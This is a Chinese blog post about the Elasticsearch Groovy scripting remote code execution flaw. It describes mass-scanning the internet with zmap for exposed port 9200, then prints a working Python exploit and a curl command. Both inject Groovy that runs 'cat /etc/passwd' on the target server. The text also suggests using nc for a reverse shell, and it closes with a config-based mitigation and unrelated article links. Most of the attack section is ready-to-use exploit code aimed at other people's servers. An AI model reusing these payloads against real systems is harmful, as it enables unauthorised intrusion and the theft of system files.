博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
ElasticSearch Groovy脚本远程代码执行漏洞
阅读量:7026 次
发布时间:2019-06-28

本文共 1747 字,大约阅读时间需要 5 分钟。

什么是ElasticSearch?

它是一种分布式的、实时性的、由JAVA开发的搜索和分析引擎。

2014年,曾经被曝出过一个远程代码执行漏洞(CVE-2014-3120),漏洞出现在脚本查询模块,由于搜索引擎支持使用脚本代码(MVEL),作为表达式进行数据操作,***者可以通过MVEL构造执行任意java代码,后来脚本语言引擎换成了Groovy,并且加入了沙盒进行控制,危险的代码会被拦截,结果这次由于沙盒限制的不严格,导致远程代码执行任意命令。。。“任意”你懂的,比如:利用nc反弹shell。Groovy是一种运行在JVM上的脚本语言,语法和java很像,同样可以调用java中的各种对象和方法,但是Groovy的语法更简单。

先用zmap扫一下。。。。真的有很多是在公网上的,虽然服务器是内网但是9200端口被映射了出来。。。

从结果中找随便找一个,先用firefox看看,浏览器以post方式提交poc

觉得麻烦就用python写了一个。。。为了演示,没带批量功能。。。

附上代码:(请勿用于非法目的)

import sysimport jsonimport requestsquery = json.dumps({"size":1,"script_fields": {"exp": {"script":"java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat /etc/passwd\").getInputStream())).readLines()","lang": "groovy"}}})url = sys.argv[1]request = requests.post(url, data=query)result = json.loads(request.text)['hits']['hits'][0]['fields']['exp']for i in result[0]:    print i

当然你用最简单的curl -XPOST命令也是可以

curl -XPOST http://ip:9200/_search?pretty=true -d '{"size":1,"script_fields": {"test#": {"script":"java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat /etc/passwd\").getInputStream())).readLines()","lang": "groovy"}}}'

ElasticSearch的groovy引起的代码执行,很多国内安全厂商给出的建议是一升了之,但是很多装了插件的应用服务器,升级之后会造成插件不能访问,甚至导致业务中断,目前比较折衷的解决方案是修改配置文件,禁用groovy脚本,在配置文件中添加:script.groovy.sandbox.enabled: false,重启es服务。

Good Luck!

转载地址:http://yfsxl.baihongyu.com/

你可能感兴趣的文章
window 下常用的一些命令和应用
查看>>
mysql having的用法
查看>>
重新认识java-忽视的注释
查看>>
Sierpinski三角
查看>>
Dos下查看端口
查看>>
深入探讨Java类加载器
查看>>
Go 开发 HTTP
查看>>
textview的滚动
查看>>
使用JQuery.validate后的bootstrap风格校验提示‏
查看>>
iOS开发中NSTimer的开启与关闭
查看>>
NotePad++中SourceCookifier插件的使用
查看>>
jvm gc日志分析
查看>>
springmvc hello-servlet.xml配置文件
查看>>
kindeditor + syntaxhighlighter 使文章内的插入代码高亮显示
查看>>
基于微博数据用 Python 打造一颗“心”
查看>>
我的Linux发行版/桌面环境选择之路
查看>>
angular2 学习二 [property] - 绑定属性
查看>>
python数据库sqlite基础(一)-------数据库创建,表的建立,数据录入,数据查询...
查看>>
Core Data数据持久性存储基础教程
查看>>
<mvc:view-controller />配置首页路径失效的问题
查看>>